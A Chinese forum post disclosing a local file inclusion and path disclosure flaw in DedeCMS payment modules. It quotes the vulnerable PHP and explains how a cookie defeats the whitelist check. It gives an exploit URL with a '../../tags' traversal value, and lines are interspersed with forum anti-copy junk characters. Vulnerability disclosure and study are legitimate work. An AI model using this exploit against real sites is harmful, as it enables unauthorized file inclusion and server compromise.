找回密码
 立即注册
查看: 2759|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)  q- ~, {. i! _& `
, [; q! K) L: t: K! A- R
出现漏洞的两个文件为:
2 K- p3 R3 z7 ^; w5 ^/ Y: HInclude/payment/alipay.php
0 a6 h3 Z- @& S7 U/ y8 ]1 j3 iInclude/payment/yeepay.php. X/ r: s( V3 ], e
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
2 @5 O( ^" {7 b2 q" G  x5 [# J9 }$ y4 Y8 @9 o2 c$ Q% g* y
Include/payment/alipay.php
+ y& S# g; J4 M& J. O9 M  j9 j/ R, _) v# E
......
1 h, _, s  J9 x  K! e* p   function respond()
" }. g- T; ?9 n5 T* W7 p    {& O5 T, i# g+ g$ H7 i2 f2 g
        if (!empty($_POST))# ^! H( y' w, t, ^) z# x1 w2 E/ {
        {
" _* g0 g( B5 K6 l# P2 A  d            foreach($_POST as $key => $data); Z% _2 Z8 z) l8 j, b& @
            {
) x. p3 w: h9 P- a1 ]                $_GET[$key] = $data;
" i( O5 f/ G# F            }, `$ J6 j8 _1 x% @
        }
) Q9 I( W/ f% K3 S! n; J# {3 z        /* 引入配置文件 */8 v# ?. a- R; n" g% e: A
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
& \1 c& \5 Z/ E9 s- y9 s) h...... ! Q  j* Z2 N6 x: L8 d& N! {7 ?1 X- P, b
# e) s8 [) Z# h
4 m8 Z: _( _7 H8 W5 y" h
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。" R* `4 z: y: g- p
% c* b# P" @) D6 o: m
Include/payment/yeepay.php
  W, g+ X( C3 |' t* n0 b
$ `9 f! G9 ~" U, c* p) p0 {! S 7 j# d' U# E, `# p

: ?, K$ y, E0 `+ ?: t& s......
  K& y/ Q" I1 t- R! O! R    function respond()
- g6 e, @+ ^2 Q/ @5 F    {0 ?# f! P' i; F" r2 e- [

5 l* c* ~* s1 [1 a        /* 引入配置文件 */$ V- c% C9 Z, ?* S0 l; b8 T2 n
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
, _& q" i4 ?+ e6 s) Y4 c, P
% _/ p! L& N. X& A8 X' `        $p1_MerId = trim($payment['yp_account']);1 @$ \( G8 W3 r
        $merchantKey = trim($payment['yp_key']);) I5 ?0 g) x8 U1 r$ Y7 L
......
- L3 p( F2 I' C# h
" M7 S, I, ?# Y1 M8 Z1 Y( }$ C: w" c/ ~+ E+ @
* K0 e$ B( X& D) H5 V

- R9 O6 E/ i( [# @) i大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
. J" K# M" c2 q* O8 V9 M7 p
* H" G/ E4 i( Q1 J' [这两个方法在plus/carbuyaction.php文件调用。" e! m8 _2 |  M) [
" ~7 a' \7 v) c9 j7 M9 d
plus/carbuyaction.php- H3 P  U1 g8 B% u3 a! i& I
" W& E4 B1 P9 v
......% k: w9 T% \# }, O* ^& t
} else if ($dopost == 'return') {. I/ e% H. s5 q* c/ \
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
9 f* S0 y" Y( E    if (in_array($code, $write_list))% ]# y$ h1 A6 m; O8 z
    {3 l1 M- G) ?' U# ]
        require_once DEDEINC.'/payment/'.$code.'.php';' K: j0 I( S5 l! K, W, V
        $pay = new $code;. U$ P) v1 h0 X- {" n
        $msg=$pay->respond();" `" d. y# e6 q- K4 Q2 K
        ShowMsg($msg, "javascript:;", 0, 3000);7 W2 k9 k4 F# p. T- c! ]6 s
        exit();  ; t1 @* \0 s( h1 ]. }, k
    } else {
8 r+ h& S" r" m' I. l8 @        exit('Error:File Type Can\'t Recognized!');
1 M  g! _3 ]8 \9 F" H: j, ~    }
5 f& |" ^; R" w2 G2 u}' ?: }/ i% l7 j3 U5 [* ?
...... / S* T! r! T; D5 h+ U. i

1 c5 {5 u( b4 U0 u- V) b; J& z' U- ?" r' J, q0 j/ ]

3 K  {+ K1 R) }; y5 ]+ @8 d/ y0 D) _4 ^: o# |2 U7 n

* H) i7 S9 q" F# A$ u- {! L* S( _' _* \' C3 F- C: ~" i
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
5 W( L1 _: U! K所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。7 p" }0 ?( V& \# V1 W
) f6 u/ o9 o! r4 O: F& Q9 Z
回到include/common.inc.php来看看他的机制。
, X9 K3 S% w& [7 l) Q6 |
# C) h+ Y: ?* D: Z 4 Z- ]6 P% i: w1 @' q9 J: t

4 A$ w4 I' S+ e7 t% }/ h. F; O......
9 Q/ y, D, H0 l  H2 r2 Kforeach(Array('_GET','_POST','_COOKIE') as $_request)
7 J- o. ~6 U/ U, u5 J  C9 v{
+ z8 E5 y% X& N9 ^        foreach($$_request as $_k => $_v) 5 t' X) \- |- K0 @/ J
        {
' X9 L7 p& |" \2 v- e4 ]                if($_k == 'nvarname') ${$_k} = $_v;
- P# B( y+ r5 v' @+ ~& }* @                else ${$_k} = _RunMagicQuotes($_v);
7 N0 h9 B% T1 f) l        }
. L2 W" D+ N* I/ z2 A: O}
5 E! e+ o) d' U. ~7 ^+ g! ]6 O......
% E: N- _6 {5 u3 ~8 a* q. u大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:( s$ z3 V+ F5 y
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表